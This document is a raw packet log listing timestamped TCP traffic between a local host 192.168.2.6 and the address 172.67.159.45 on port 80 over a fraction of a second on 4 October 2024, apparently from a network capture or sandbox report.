Oct 4, 2024 04:28:04.310065031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310065985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310079098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310089111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310096025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310100079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310110092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310120106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310120106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310129881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310138941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310141087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310152054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310159922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310163975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310173988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310182095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310185909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310201883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310201883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310221910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310240984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310326099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310364962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310372114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310374975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310415030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310445070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310456038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310466051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310477018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310501099 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310519934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310554981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310565948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310575962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310586929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310604095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310626984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310669899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310769081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310780048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310787916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310797930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310808897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310815096 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310822010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310834885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310837984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310864925 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310873032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310883999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310894012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310905933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.310911894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310928106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.310949087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311002970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311014891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311026096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311037064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311043978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311048031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311059952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311063051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311115980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311135054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311146975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311156988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311166048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311184883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311196089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311219931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311319113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311330080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311340094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311348915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311359882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311371088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311379910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311379910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311398029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311400890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311409950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311422110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311431885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311438084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311444044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311459064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311476946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311502934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311566114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311580896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311594009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311608076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311620951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311621904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311635971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311651945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311652899 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311665058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311674118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311687946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311697960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311709881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311718941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311737061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311753035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311755896 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311764956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311775923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311786890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311796904 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311798096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311810017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.311820984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.311852932 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.312155962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312166929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312177896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312208891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.312221050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.312232971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312243938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312249899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312305927 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.312319040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312330961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312341928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312352896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312366009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.312412977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.312431097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312442064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312453032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312458038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312469006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.312537909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.314218998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314233065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314244986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314255953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314274073 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.314297915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.314323902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314336061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314346075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.314376116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.314387083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393166065 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393177986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393188000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393232107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393250942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393265009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393274069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393282890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393291950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393301964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393305063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393322945 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393349886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393567085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393577099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393585920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393616915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393642902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393666983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393676996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393685102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393712044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393738031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.393738985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393748045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.393786907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.401705980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401725054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401736021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401770115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.401782036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.401796103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401807070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401817083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401827097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401837111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.401849031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.401880026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402282953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402343035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402348995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402390003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402503967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402514935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402524948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402551889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402576923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402585030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402595997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402606010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402633905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402659893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402676105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402687073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402697086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402724981 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402749062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402760029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402770996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402781010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402790070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402808905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402834892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402834892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402846098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402856112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402884960 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402908087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.402971029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402981997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.402991056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403001070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403012991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403019905 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403049946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403104067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403120041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403130054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403140068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403150082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403160095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403172016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403189898 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403208971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403208971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403223991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403233051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403290033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403297901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403310061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403318882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403331041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403347015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403361082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403438091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403465033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403465033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403476954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403486013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403486967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403498888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403508902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403517962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403548002 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403649092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403659105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403667927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403677940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403687000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403696060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403697968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403708935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403719902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403719902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403729916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403743029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403759956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403763056 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403810978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403871059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403882027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403891087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403903008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403913021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403919935 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403927088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.403942108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403960943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.403992891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404001951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404006958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404011011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404042959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404052973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404063940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404069901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404074907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404089928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404119968 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404318094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404330015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404340029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404350042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404361010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404369116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404371023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404376984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404381990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404411077 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404434919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404480934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404521942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404531956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404566050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404596090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404606104 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404616117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404625893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404680967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404686928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404691935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404701948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404711008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404728889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404750109 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404771090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404782057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404791117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404800892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404813051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404824972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.404840946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.404867887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.406527996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406544924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406553984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406584978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.406599045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.406606913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406616926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406626940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406647921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:04.406656027 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:04.406670094 CEST	80	49740	172.67.159.45	192.168.2.6
